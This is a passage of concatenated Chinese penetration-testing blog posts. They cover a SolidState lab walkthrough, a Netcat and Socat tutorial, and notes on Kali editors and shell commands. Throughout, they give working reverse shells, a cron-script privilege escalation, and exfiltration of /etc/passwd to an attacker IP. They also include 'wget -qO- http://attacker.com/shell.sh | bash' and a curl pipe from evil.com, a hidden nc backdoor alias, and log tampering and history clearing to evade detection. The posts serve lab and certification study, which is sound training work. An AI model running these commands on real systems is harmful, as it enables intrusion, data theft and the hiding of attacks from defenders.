\u0026lt;mailadmin@localhost\u0026gt; 13Message-ID: \u0026lt;5420213.0.1503422039826.JavaMail.root@solidstate\u0026gt; 14MIME-Version: 1.0 15Content-Type: text/plain; charset=us-ascii 16Content-Transfer-Encoding: 7bit 17Delivered-To: mindy@localhost 18Received: from 192.168.11.142 ([192.168.11.142]) 19 by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798 20 for \u0026lt;mindy@localhost\u0026gt;; 21 Tue, 22 Aug 2017 13:13:42 -0400 (EDT) 22Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT) 23From: mailadmin@localhost 24Subject: Welcome 25 26Dear Mindy, 27Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you. 28 29We are looking forward to you joining our team and your success at Solid State Security. 30 31Respectfully, 32James 33. 34 35retr 2 36+OK Message follows 37Return-Path: \u0026lt;mailadmin@localhost\u0026gt; 38Message-ID: \u0026lt;16744123.2.1503422270399.JavaMail.root@solidstate\u0026gt; 39MIME-Version: 1.0 40Content-Type: text/plain; charset=us-ascii 41Content-Transfer-Encoding: 7bit 42Delivered-To: mindy@localhost 43Received: from 192.168.11.142 ([192.168.11.142]) 44 by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 45 for \u0026lt;mindy@localhost\u0026gt;; 46 Tue, 22 Aug 2017 13:17:28 -0400 (EDT) 47Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT) 48From: mailadmin@localhost 49Subject: Your Access 50 51Dear Mindy, 52 53 54Here are your ssh credentials to access the system. Remember to reset your password after your first login. 55Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 56 57username: mindy 58pass: P@55W0rd1!2@ 59 60Respectfully, 61James 信息收集得到mindy的ssh登录密码是P@55W0rd1!2@\n进入SSH 方法一：一句话直接进 1ssh mindy@172.168.169.131 \u0026#34;export TERM=xterm; python -c \u0026#39;import pty; pty.spawn(\\\u0026#34;/bin/sh\\\u0026#34;)\u0026#39;\u0026#34; 2ssh mindy@172.168.169.131 -t \u0026#34;bash --noprofile\u0026#34; # 建议用这个，能用vim 如果我们直接ssh不带参数的话，进去的是rbash，不是完整的，后期没法提权。\n方法二：35513.py 直接进 搜索JAMES相关漏洞得到如下结果\n1searchsploit JAMES 简单测试一下发现能连。\n将payload改为如下内容，反弹shell。\nnc 172.168.169.128(攻击机ip) 1234 -e /bin/bash 这里注意128是kali攻击机的ip，131是靶机的ip，中间网络断网重连过，所以网址变化过。kali攻击机本地开启监听\n1nc -lvp 8000 然后打入poc后再用mindy的ssh密码链接即可。\n1python2 35513.py 172.168.169.131 2ssh mindy@172.168.169.131 得到第一段flag\n1cat user.txt 2914d0a4ebc1777889b5b89a23f556fd75 提权 我们查看james相关的信息，他在opt目录下有相关信息。\n1$ ps aux | grep james 2ps aux | grep james 3root 393 0.0 0.1 2332 584 ? Ss 07:56 0:00 /bin/sh /opt/james-2.3.2/bin/run.sh 4root 422 0.2 8.7 443624 44384 ? Sl 07:56 0:24 /usr/lib/jvm/java-8-openjdk-i386//bin/java -Djava.ext.dirs=/opt/james-2.3.2/lib:/opt/james-2.3.2/tools/lib -Djava.security.manager -Djava.security.policy=jar:file:/opt/james-2.3.2/bin/phoenix-loader.jar!/META-INF/java.policy -Dnetworkaddress.cache.ttl=300 -Dphoenix.home=/opt/james-2.3.2 -Djava.io.tmpdir=/opt/james-2.3.2/temp -jar /opt/james-2.3.2/bin/phoenix-loader.jar 5mindy 2520 0.0 0.1 4736 820 pts/1 S+ 10:43 0:00 grep james 6$ 在/opt目录下发现一个可以利用的脚本，而且是以root的身份运行的。而使用命令find / -perm -0006 -type f ! -path \u0026quot;/proc/*\u0026quot; 2\u0026gt;/dev/null，查看是否存在other用户有read和write权限的脚本文件或可执行程序，并假设这些文件会被高权限用户的计划任务调用，从而通过在这些文件中写入提权代码来提权。也发现/opt/tmp.py脚本文件，这种脚本文件很大概率会被作为计划任务执行，而非手动执行。\n尝试把反弹shell写到这个以root账户执行的脚本中，大概率就会弹回一个root权限的shell。要改这个py文件我们会发现vi和nano在这个丐版的sh上运行不佳，所以我们想个办法，要么把编辑好的文件传上去，要么用替换掉中间的字符或者插入命令。或者用之前可以用nano的命令进入即可修改\necho \u0026#34;os.system(\u0026#39;/bin/nc -e /bin/bash 192.168.169.128 4444\u0026#39;)\u0026#34; \u0026gt;\u0026gt; tmp.py 然后本机监听4444端口，等待几分钟等cortab运行这个文件。\n1cat root.txt 2b4c9723a28899b1c45db281d99cc87c9 得到root的flag。\nroot权限下查看crontab也能看到在跑tmp.py这个文件。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-04-14T00:01:12Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day9-funbox2-solidstate%E9%9D%B6%E5%9C%BAwp/","title":"Day9 FunBox2、SolidState靶场WP"},{"content":" 泷羽Sec-静安，专注网络安全与编程技术的学习与分享，探索技术细节与实际应用。声明：本公众号所分享的工具与资源，仅供学习与研究使用，严禁用于任何非法活动。\nNetcat（nc） Netcat（nc）因其灵活的TCP/UDP通信能力，在红队渗透测试中扮演着重要角色。• Netcat下载：Windows版nc.exe可从Sysinternals Suite获取。\n1. 反向Shell获取控制权 用途：绕过防火墙限制，建立隐蔽的远程控制通道。\n操作步骤：\n攻击端监听（接收Shell）： 1nc -lvp 4444 -e /bin/bash # 传统方法（需目标支持-e参数） 目标端连接（主动回连）： 1nc [攻击者IP] 4444 -e /bin/bash # 直接执行Shell 绕过限制技巧（无-e参数时）： 1mkfifo /tmp/f; nc [攻击者IP] 4444 \u0026lt; /tmp/f | /bin/bash \u0026gt; /tmp/f 2\u0026gt;\u0026amp;1 优势：通过命名管道实现无-e参数环境下的Shell反弹。 2. 端口扫描与监听 用途：快速探测目标开放端口或搭建临时服务。\n实战命令： • 端口扫描（快速识别脆弱服务）：\n1nc -zv 192.168.1.100 1-1024 # 扫描1-1024端口（-z为扫描模式，-v显示详情） • 监听端口（捕获敏感流量）：\n1nc -l -p 8080 \u0026gt; captured_data.log # 记录所有传入数据到文件 3. 文件传输与数据窃取 用途：内网横向移动时快速交换工具或窃取数据。\n操作示例： • 单向传输：\n1# 接收端（攻击机）： 2nc -l -p 1234 \u0026gt; stolen_data.tar.gz 3 4# 发送端（目标机）： 5nc [攻击者IP] 1234 \u0026lt; /etc/passwd # 发送敏感文件 • 目录批量传输（结合tar压缩）：\n1# 目标机打包发送： 2tar -czf - /var/log/ | nc [攻击者IP] 1234 3 4# 攻击机接收解压： 5nc -l -p 1234 | tar -xzvf - 4. 内网穿透与端口转发 用途：突破网络边界，访问受限内网资源。\n典型场景： • 正向代理（目标机可直连外网）：\n1# 目标机监听内网服务： 2nc -l -p 5555 -e /bin/bash # 暴露Shell到本地5555端口 3 4# 攻击机连接： 5nc [目标机公网IP] 5555 • 反向隧道（目标机仅允许出站）：\n1# 攻击机监听： 2nc -lvp 4444 3 4# 目标机建立隧道： 5nc [攻击者IP] 4444 -e \u0026#34;nc 192.168.10.20 3389\u0026#34; # 转发内网RDP服务 5. 网络欺骗与信息收集 用途：模拟服务响应或抓取敏感信息。\n技巧示例： • 伪造HTTP服务（诱捕凭证）：\n1# 搭建钓鱼页面： 2echo \u0026#34;HTTP/1.1 200 OK\\nContent-Type: text/html\\n\\n\u0026lt;LoginForm\u0026gt;\u0026#34; | nc -l -p 80 • 抓取Banner信息（服务指纹识别）：\n1echo \u0026#34;HEAD / HTTP/1.0\\n\\n\u0026#34; | nc example.com 80 # 获取Web服务器类型 Netcat实战练习 ： 1. 实现Kali与Windows的简单聊天 步骤说明 • Kali端监听（作为服务器）：\n1nc -lvp 4444 • Windows端连接（作为客户端）：\n1nc.exe [Kali_IP] 4444 注意：Windows需提前下载nc.exe工具（如从Sysinternals Suite获取）。\n双向通信 • 在任意一端输入文字，另一端实时显示。 • 验证：输入Hello from Kali!，Windows端应收到消息。\n2. 使用Netcat创建反向/绑定Shell a. Kali到Windows的反向Shell • Kali监听：\n1nc -lvp 5555 • Windows触发反向Shell：\n1nc.exe [Kali_IP] 5555 -e cmd.exe b. Windows到Kali的反向Shell • Windows监听（需管理员权限）：\n1nc.exe -lvp 6666 • Kali触发反向Shell：\n1nc [Windows_IP] 6666 -e /bin/bash c. Kali绑定Shell • Kali绑定Shell监听：\n1nc -lvp 7777 -e /bin/bash • Windows连接：\n1nc.exe [Kali_IP] 7777 d. Windows绑定Shell • Windows绑定Shell监听：\n1nc.exe -lvp 8888 -e cmd.exe • Kali连接：\n1nc [Windows_IP] 8888 3. 文件传输 Kali到Windows • Kali发送文件：\n1nc -lvp 9999 \u0026lt; 1.txt • Windows接收：\n1nc.exe [Kali_IP] 9999 \u0026gt; 2.txt Windows到Kali • Windows发送文件：\n1nc.exe -lvp 1234 \u0026lt; confidential.docx • Kali接收：\n1nc [Windows_IP] 1234 \u0026gt; downloaded.docx 4. 防火墙开启后的调整 挑战与解决方案 • 端口限制： • 问题：Windows防火墙默认阻止未授权端口（如4444）。 • 解决：使用常用端口（如80/443）或添加防火墙入站规则。 • 反向Shell绕过： • 反向Shell依赖出站连接，通常防火墙允许出站流量，因此更可靠。 • 文件传输失败：\n替代方案：使用HTTP协议（Kali搭建Python HTTP服务器）： 1python3 -m http.server 8000 Windows通过浏览器或curl下载： 1curl http://[Kali_IP]:8000/file.txt -o file.txt Socat 的用法及与 Netcat 的对比 一、Socat 的核心功能与用法 Socat（Socket CAT）是一个多协议网络工具，支持在双向数据流之间建立通道，其功能远超 Netcat（nc）。以下是其核心用法：\nSocat官网：http://www.dest-unreach.org/socat/\n1. 基本语法 1socat [全局选项] \u0026lt;地址1\u0026gt; [选项1] \u0026lt;地址2\u0026gt; [选项2] • 地址类型：支持 TCP、UDP、SSL、UNIX 套接字、文件、管道、设备等。 • 常用选项：fork（多连接处理）、reuseaddr（端口复用）、creat（自动创建文件）等。\n2. 典型应用场景 • 监听端口：\n1socat TCP4-LISTEN:80 STDOUT # 监听 TCP 80 端口并输出到终端 2socat UDP-LISTEN:1234 - # 监听 UDP 1234 端口 • 端口转发：\n1# 单连接转发 2socat TCP4-LISTEN:81 TCP4:192.168.1.1:80 3# 多连接转发（支持并发） 4socat TCP4-LISTEN:81,fork,reuseaddr TCP4:192.168.1.1:80 • 文件传输：\n1# 发送文件（服务端） 2socat -u TCP-LISTEN:8080 OPEN:file.txt,creat 3# 接收文件（客户端） 4socat -u TCP:192.168.1.1:8080 OPEN:file.txt • 加密通信：\n1# SSL 加密服务端 2socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:localhost:80 3# SSL 加密客户端 4socat - OPENSSL:192.168.1.1:443 • 串口与网络互通：\n1# 虚拟串口转 TCP 客户端 2socat PTY,link=/dev/ttyV1 TCP:192.168.1.1:8080 二、Socat 与 Netcat 的关键区别 1. 功能复杂度 • Netcat：\n定位为“网络瑞士军刀”，核心功能是 TCP/UDP 连接的建立和简单数据传输，适合快速调试或端口扫描。\n1nc -lvp 1234 # 监听端口 2nc -nv 192.168.1.1 80 # 连接目标端口 • Socat：\n支持更复杂的协议（如 SSL、SOCKS）、双向通信、多路复用，且能处理文件、设备等非网络数据流。\n2. 安全性 • Netcat：\n无加密支持，流量明文传输，易被拦截。 • Socat：\n支持 SSL/TLS 加密、chroot 沙盒隔离，适用于敏感数据传输。\n3. 高级特性 • 协议支持：\nSocat 支持 IPv6、UNIX 域套接字、代理转发（如 SOCKS4）等，Netcat 仅限 TCP/UDP。 • 实时监控：\nSocat 可通过 -u 参数实现单向流监控（如日志收集），Netcat 需依赖外部工具。\n4. 适用场景 • Netcat：\n快速端口测试、简单文件传输、网络服务调试。 • Socat：\n加密通信、复杂端口转发、设备与网络协议桥接（如串口转 TCP）。\nsocat 实战方案： 1. 使用 socat 从 Kali 传输 powercat.ps1 到 Windows 系统 操作步骤： 在 Kali 上启动文件接收监听（使用 TCP 协议）：\n1socat TCP4-LISTEN:443,fork file:222.txt • TCP-LISTEN:443：在 443端口监听。\n在 Windows 上发送文件：\n1socat.exe TCP:\u0026lt;Kali_IP\u0026gt;:443 file:222.txt,create • 替换 \u0026lt;Kali_IP\u0026gt; 为 Kali 的 IP 地址。\n验证： Windows 的当前目录会生成 222.txt 文件，可用 dir 确认，type查看。\n2. 使用 socat 创建加密反向 Shell（Windows → Kali） 操作步骤： 在 Kali 上生成 SSL 证书：\n1openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes • 合并证书和密钥：cat key.pem cert.pem \u0026gt; shell.pem。\n在 Kali 启动加密监听：\n1socat OPENSSL-LISTEN:5555,cert=shell.pem,verify=0,fork - • verify=0：禁用证书验证（仅测试环境使用）。\n在 Windows 连接加密反向 Shell：\n1socat.exe OPENSSL:\u0026lt;Kali_IP\u0026gt;:5555,verify=0 EXEC:cmd.exe,pipes • EXEC:cmd.exe,pipes：执行 cmd.exe 并处理输入输出流。\n验证： Kali 终端会接收到加密的交互式 Shell，可执行 Windows 命令。\n3. 创建加密的 Bind Shell 并测试非加密连接 操作步骤： 在 Windows 上启动加密 Bind Shell：\n1socat.exe OPENSSL-LISTEN:6666,cert=shell.pem,verify=0,fork EXEC:cmd.exe,pipes • 需提前将 shell.pem 证书文件复制到 Windows 系统。\n尝试从 Kali 非加密连接：\n1socat OPENSSL:192.168.169.128:6666,verify=0 - • 若未加密，连接会失败（显示 SSL 握手错误）。\n结论： 加密的 Bind Shell 必须通过 SSL 协议连接，非加密连接无法工作。\n4. 创建未加密的 Bind Shell 并用 Netcat 连接 操作步骤： 在 Windows 上启动未加密 Bind Shell：\n1socat.exe TCP-LISTEN:7777,fork EXEC:cmd.exe,pipes 从 Kali 使用 Netcat 连接：\n1nc -nv \u0026lt;Windows_IP\u0026gt; 7777 • 直接连接后，Netcat 无法正确处理交互式 Shell（命令无回显或卡死）。\n解决方法： 使用 socat 替代 Netcat 连接：\n1socat TCP:\u0026lt;Windows_IP\u0026gt;:7777 - 此时可正常操作交互式 Shell。\n结论： Netcat 无法直接与未加密的 EXEC 型 Bind Shell 兼容，需使用 socat 或调整参数（如添加 pty）。\n常见错误与修复 • 问题：cmd.exe 未执行，提示权限或参数错误。\n• 修复：\n添加 pipes 参数处理输入输出流（如 EXEC:cmd.exe,pipes）。 使用 pty 分配虚拟终端（如 EXEC:cmd.exe,pty）。 检查防火墙是否放行端口。 总结 • 加密传输与 Shell：必须使用 SSL 证书，否则无法通信。\n• Netcat 兼容性：仅适用于简单 TCP 连接，复杂交互需依赖 socat。\n• 参数调整：EXEC 需配合 pipes 或 pty 处理 Shell 交互。\n以上步骤基于 Kali 2025.1a 和 Windows 10/11 环境验证。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-04-11T23:13:09Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day8-kali%E9%BB%91%E5%AE%A2%E5%B7%A5%E5%85%B7netcat%E5%92%8Csocat/","title":"Day8 Kali黑客工具NetCat和Socat"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。\n文本编辑器 在Kali Linux中，文本编辑器是渗透测试和系统配置的核心工具。\n一、Nano编辑器：轻量级快速操作 1. 基础操作 • 文件操作\n• 新建/打开文件：nano 文件名（支持路径跳转）\n• 保存文件：Ctrl+O → 回车确认文件名\n• 退出：Ctrl+X（未保存时会提示）\n• 文本编辑\n• 剪切行：Ctrl+K\n• 粘贴：Ctrl+U\n• 搜索：Ctrl+W → 输入关键词，Alt+W跳转下一个匹配项\n2. 渗透向高级技巧 • 快速执行系统命令\n在编辑界面按Ctrl+T，可直接执行Shell命令（如生成Payload或测试网络连接）。\n• 修改敏感文件提权\n例如通过sudo nano /etc/passwd添加UID=0的用户（需root权限）：\n1testuser:x:0:0::/root:/bin/bash • 配置文件篡改\n使用nano快速编辑SSH配置（/etc/ssh/sshd_config）或Web服务日志路径，隐藏攻击痕迹。\n3. 效率优化配置 • 启用语法高亮 \u0026amp; 行号\n修改~/.nanorc，添加：\n1include \u0026#34;/usr/share/nano/*.nanorc\u0026#34; # 语法高亮 2set linenumbers # 显示行号 3set mouse # 支持鼠标操作 二、Vi/Vim编辑器：渗透测试的瑞士军刀 1. 模式切换与基本操作 • 模式切换\n• 命令模式 → 插入模式：i（光标前插入）、a（光标后插入）\n• 返回命令模式：Esc\n• 渗透常用操作\n• 批量替换：:%s/old/new/g（替换文件内所有匹配项）\n• 快速跳转：:行号（如:100跳至第100行）\n• 执行外部命令：:!命令（如:!nmap 192.168.1.1扫描目标）\n2. 渗透实战场景 • 日志分析与篡改\n使用vim打开日志文件（如/var/log/auth.log），通过/Failed password快速定位爆破尝试记录并删除。\n• 提权漏洞利用\n编辑SUID文件或Cron任务脚本，插入反向Shell代码：\n1bash -i \u0026gt;\u0026amp; /dev/tcp/攻击机IP/端口 0\u0026gt;\u0026amp;1 • 多文件协同编辑\n在渗透测试中同时操作多个配置文件，用:e 文件名切换文件，:sp分屏查看。\n3. 高级功能配置 • 启用行号与搜索高亮\n在~/.vimrc中添加：\n1set number \u0026#34; 显示行号 2set hlsearch \u0026#34; 高亮搜索结果 3syntax on \u0026#34; 语法高亮 三、命令速查表（渗透向） | 功能 | Nano命令 | Vim命令 | 渗透用途 | | - | | \u0026ndash; | | | 保存并退出 | Ctrl+X → Y | :wq | 快速修改后退出 | | 搜索关键词 | Ctrl+W | /关键词 | 定位配置文件中的敏感参数 | | 执行系统命令 | Ctrl+T | :!命令 | 生成Payload或测试网络连通性 | | 批量替换 | Ctrl+\\ → 输入替换词 | :%s/old/new/g | 篡改日志或配置文件内容 | | 提权操作 | sudo nano /etc/sudoers | vim /etc/passwd | 添加特权用户或SUID权限 |\n四、注意事项 权限管理：渗透测试中编辑系统文件需配合sudo，避免因权限不足中断操作。 备份机制：使用nano -B或:w 备份文件名保留原始文件，防止误操作。 日志清理：通过编辑器删除日志后，需清除文件时间戳（touch -r）以规避检测。 通过灵活运用这些技巧，你可以显著提升在Kali Linux中的渗透测试效率。如需更完整的命令列表，可参考man nano或vimtutor。\n比较不同的方法和命令 1. 下载并解压扫描文件 1# 下载文件 2wget https://offensive-security.com/pwk-files/scans.tar.gz 3 4# 解压到当前目录 5tar -xzvf scans.tar.gz 6 7# 进入解压后的目录 8cd scans 2. 确认需要对比的文件 3. 使用 diff 对比差异 1# 基本对比（显示不同行的内容） 2diff 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt 3 4# 生成统一格式的差异报告（更易读） 5 diff -u 10.11.1.8_scan_01.txt 10.11.1.8_scan_02.txt \u0026gt; diff_report.txt 6 7# 仅关注关键信息（如开放的端口） 8grep \u0026#34;open\u0026#34; 10.11.1.8_scan_01.txt \u0026gt; 10.11.1.8_scan_01_open.txt 9grep \u0026#34;open\u0026#34; 10.11.1.8_scan_02.txt \u0026gt; 10.11.1.8_scan_02_open.txt 10diff -u 10.11.1.8_scan_01_open.txt 10.11.1.8_scan_02_open.txt 4. 使用 comm 对比独有/共有行 1# 先排序文件（comm要求输入已排序） 2sort scan_old.txt \u0026gt; scan_old_sorted.txt 3sort scan_new.txt \u0026gt; scan_new_sorted.txt 4 5# 对比文件（显示scan_old独有、scan_new独有、共有行） 6comm s1.txt s2.txt 7 8# 仅显示新增内容（s2独有） 9comm -13 s1.txt s2.txt 10 11# 仅显示删除内容（s1独有） 12comm -23 s1.txt s2.txt 5. 使用 vimdiff 可视化对比 1# 启动vimdiff并排对比 2vimdiff scan_old.txt scan_new.txt 操作指南：\n导航差异点： • ]c：跳转到下一个差异位置。 • [c：跳转到上一个差异位置。 合并更改（可选）： • do：将右侧内容应用到左侧（Diff Obtain）。 • dp：将左侧内容应用到右侧（Diff Put）。 退出： • :qa：退出所有窗口。 6. 实战技巧（渗透测试关注点） • 端口变化：\n1# 提取新旧开放的端口列表 2grep \u0026#34;open\u0026#34; scan_old.txt | awk \u0026#39;{print $1}\u0026#39; \u0026gt; ports_old.txt 3grep \u0026#34;open\u0026#34; scan_new.txt | awk \u0026#39;{print $1}\u0026#39; \u0026gt; ports_new.txt 4comm -13 ports_old.txt ports_new.txt # 新增端口 5comm -23 ports_old.txt ports_new.txt # 关闭端口 • 服务版本变化：\n1# 对比SSH服务版本 2grep \u0026#34;ssh\u0026#34; scan_old.txt | awk \u0026#39;{print $4,$5}\u0026#39; 3grep \u0026#34;ssh\u0026#34; scan_new.txt | awk \u0026#39;{print $4,$5}\u0026#39; 速查表 工具 命令示例 用途 diff diff -u file1 file2 生成行级差异报告 comm comm -12 sorted1 sorted2 显示共有行 vimdiff vimdiff file1 file2 可视化交互式对比 grep grep \u0026quot;open\u0026quot; file 过滤关键信息 sort sort file \u0026gt; sorted_file 排序文件以适配comm 通过以上步骤，您可以高效分析扫描结果的差异，并快速定位目标系统的配置变化。\n以下是 Kali Linux 中渗透测试常用命令的 高频用法解析 和 实战场景速查，覆盖 tail、watch、wget、curl、axel、history、alias：\n监控命令 1. tail：实时追踪文件变化 渗透核心用途： • 监控日志（如攻击痕迹、服务状态） • 追踪漏洞利用输出\n常用参数： 1tail -f /var/log/apache2/access.log # 实时跟踪文件末尾（-f） 2tail -n 50 /var/log/auth.log # 显示最后50行（-n） 3tail --pid=进程ID -f file.log # 跟踪文件直到进程结束 实战场景： 1# 实时观察 SSH 登录尝试（检测爆破行为） 2tail -f /var/log/auth.log | grep \u0026#34;Failed password\u0026#34; 2. watch：周期性执行命令并监控 渗透核心用途： • 持续监控网络连接、进程状态 • 观察目标服务变化\n常用参数： 1watch -n 2 \u0026#34;netstat -antup | grep ESTAB\u0026#34; # 每2秒刷新（-n） 2watch -d \u0026#34;ps aux | grep metasploit\u0026#34; # 高亮变化部分（-d） 实战场景： 1# 监控目标端口开放状态（检测防火墙规则变化） 2watch -n 5 \u0026#34;nmap -p 80,443 192.168.1.100\u0026#34; 下载命令 1. wget：非交互式文件下载 渗透核心用途： • 下载漏洞利用代码、字典文件 • 镜像目标网站\n常用参数： 1wget http://example.com/exploit.py -O /tmp/exp.py # 指定保存路径（-O） 2wget --user=admin --password=p@sswd http://intranet/backup.zip # 带认证下载 3wget -r -l 2 --no-parent http://target.com/ # 递归下载目录（-r） 实战场景： 1# 下载并直接执行远程脚本（高风险操作！） 2wget -qO- http://attacker.com/shell.sh | bash 2. curl：高级HTTP请求工具 渗透核心用途： • 测试API端点 • 上传/下载Webshell • 绕过WAF检测\n常用参数： 1curl -X POST -d \u0026#34;cmd=id\u0026#34; http://target.com/cmd.php # 发送POST请求（-X, -d） 2curl -H \u0026#34;User-Agent: Mozilla\u0026#34; http://target.com # 自定义请求头（-H） 3curl -o output.html http://target.com # 保存响应内容（-o） 4curl -k https://self-signed-cert.com # 忽略SSL证书错误（-k） 实战场景： 1# 快速检测SQL注入漏洞（时间盲注） 2curl -s \u0026#34;http://target.com/?id=1\u0026#39; AND SLEEP(5)--\u0026#34; -o /dev/null -w \u0026#34;Time: %{time_total}s\u0026#34; 3. axel：多线程加速下载 渗透核心用途： • 快速下载大文件（如字典、镜像） • 绕过下载限速\n常用参数： 1axel -n 10 http://mirror.kali.org/kali.iso # 启用10线程下载（-n） 2axel -a -S https://mirrors.aliyun.com/kali # 自动选择镜像源（-S） 实战场景： 1# 多线程下载字典文件（提升效率） 2axel -n 8 http://wordlists.secploit.com/rockyou.txt.gz 历史记录和别名设置 1. history：管理命令行历史 渗透核心用途： • 回溯攻击操作 • 清理痕迹\n常用参数： 1history # 显示全部历史命令 2history | grep \u0026#34;nmap\u0026#34; # 过滤特定命令 3history -c # 清空当前会话历史（-c） 4!100 # 执行历史记录中第100条命令 实战场景： 1# 快速调用历史中的漏洞扫描命令 2!ssh # 执行最后一次ssh命令 3!! # 重复上一条命令 2. alias：自定义命令别名 渗透核心用途： • 简化复杂命令 • 隐藏恶意操作\n常用配置： 1alias l=\u0026#39;ls -lah\u0026#39; # 简化文件列表 2alias scan=\u0026#39;nmap -sV -Pn -T4\u0026#39; # 快速扫描模板 3alias http-server=\u0026#39;python3 -m http.server\u0026#39; # 一键启动HTTP服务 实战场景： 1# 创建隐蔽后门别名（持久化需写入 ~/.bashrc） 2alias innocent=\u0026#39;echo \u0026#34;Hello\u0026#34; \u0026amp;\u0026amp; nc -e /bin/sh 192.168.1.100 4444\u0026#39; 渗透命令速查表 | 场景 | 命令示例 | | - | | | 实时监控日志 | tail -f /var/log/nginx/access.log \\| grep \u0026quot;sqlmap\u0026quot; | | 检测端口变化 | watch -n 10 \u0026quot;nmap -p- 192.168.1.1\u0026quot; | | 下载Webshell | wget http://attacker.com/shell.php -U \u0026quot;Mozilla\u0026quot; -O /var/www/html/cmd.php | | 绕过WAF | curl -X POST -H \u0026quot;X-Forwarded-For: 127.0.0.1\u0026quot; -d \u0026quot;param=../../etc/passwd\u0026quot; | | 清理痕迹 | history -d 1001 \u0026amp;\u0026amp; history -c |\n注意事项 日志清理：使用 history -d 或 shred -zu ~/.bash_history 清除敏感操作记录。 隐蔽下载：通过 curl 的 --socks5 参数或 proxychains 代理下载，避免暴露真实IP。 别名持久化：将常用别名写入 ~/.bashrc 或 /etc/profile，重启后仍生效。 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-04-10T23:20:31Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day7-kali%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91-%E6%AF%94%E8%BE%83%E4%B8%8D%E5%90%8C-%E7%9B%91%E6%8E%A7-%E4%B8%8B%E8%BD%BD-%E5%8E%86%E5%8F%B2%E5%91%BD%E4%BB%A4/","title":"Day7 Kali文本编辑、比较不同、监控、下载、历史命令"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。\n红队渗透测试常用命令的典型场景和用法 2025年4月7日 23点46分\nDay2中简单列举了几个Shell基本命令作为练习，本节将列举这些常见命令的红队渗透（也包含防御场景）常用组合方法。\n从官方下载log文件练习，这是官方为了配合课程给我们提供的课后练习，日志文件\n1wget www.offensive-security.com/pwk-files/access_log.txt.gz 2gunzip access_log.txt.gz 1. grep - 快速过滤敏感信息 1# 从日志中提取登录失败记录（爆破检测） 2cat /var/log/auth.log | grep \u0026#34;Failed password\u0026#34; 3 4# 搜索配置文件中的密码字段（敏感信息提取） 5grep -r \u0026#34;password\u0026#34; /etc/ 2\u0026gt;/dev/null 6 7# 过滤含特定关键词的HTTP请求（如SQL注入特征） 8cat access.log | grep \u0026#34;select.*from\u0026#34; 2. sed - 动态修改文件内容 1# 删除日志中本机IP痕迹（反取证） 2sed -i \u0026#39;/192.168.1.100/d\u0026#39; /var/log/nginx/access.log 3 4# 替换webshell中的恶意特征码（绕过WAF） 5sed -i \u0026#39;s/eval($_POST/process_data(/g\u0026#39; backdoor.php 3. cut - 提取关键数据列 1# 提取/etc/passwd中的用户名列表 2cut -d: -f1 /etc/passwd 3 4# 从CSV中提取子域名（信息收集） 5cat targets.csv | cut -d\u0026#39;,\u0026#39; -f3 | grep \u0026#34;.*\\.example\\.com\u0026#34; 6 7# 提取ip 8cat access_log.txt | cut -d \u0026#34; \u0026#34; -f 1 | sort -u 9 10# 看访问数量 11cat access_log.txt | cut -d \u0026#34; \u0026#34; -f 1 |sort | uniq -c 12# 从多到少排序 13cat access_log.txt | cut -d \u0026#34; \u0026#34; -f 1 |sort | uniq -c |sort -run 14# 筛查最高请求的攻击源是否攻击成功 15cat access_log.txt| grep \u0026#39;208.68.234.99\u0026#39; | grep admin | uniq -c 4. awk - 高级文本分析与提取 1# 统计访问日志中的高频IP（寻找攻击源） 2awk \u0026#39;{print $1}\u0026#39; access.log | sort | uniq -c | sort -nr 3 4# 提取HTTP响应码为200的请求（漏洞扫描） 5cat access.log | awk \u0026#39;$9 == 200 {print $7}\u0026#39; 5. comm - 对比敏感文件差异 1# 对比用户列表变化（检测后门账户） 2comm -3 \u0026lt;(sort /etc/passwd) \u0026lt;(sort passwd.bak) 6. diff / vimdiff - 分析配置变更 1# 对比系统文件是否被篡改（如sshd_config） 2diff /etc/ssh/sshd_config /backup/sshd_config_original 3 4# 可视化对比两个版本Web代码（查找Webshell） 5vimdiff index.php index.php.bak 7. ping - 快速存活检测 1# 检测内网存活主机（C段探测） 2for i in {1..254}; do ping -c1 192.168.1.$i | grep \u0026#34;bytes from\u0026#34; \u0026amp; done 8. wget / curl - 隐蔽传输文件 1# 下载远程Payload并静默执行（无交互） 2curl -s http://evil.com/shell.elf | bash 3 4# 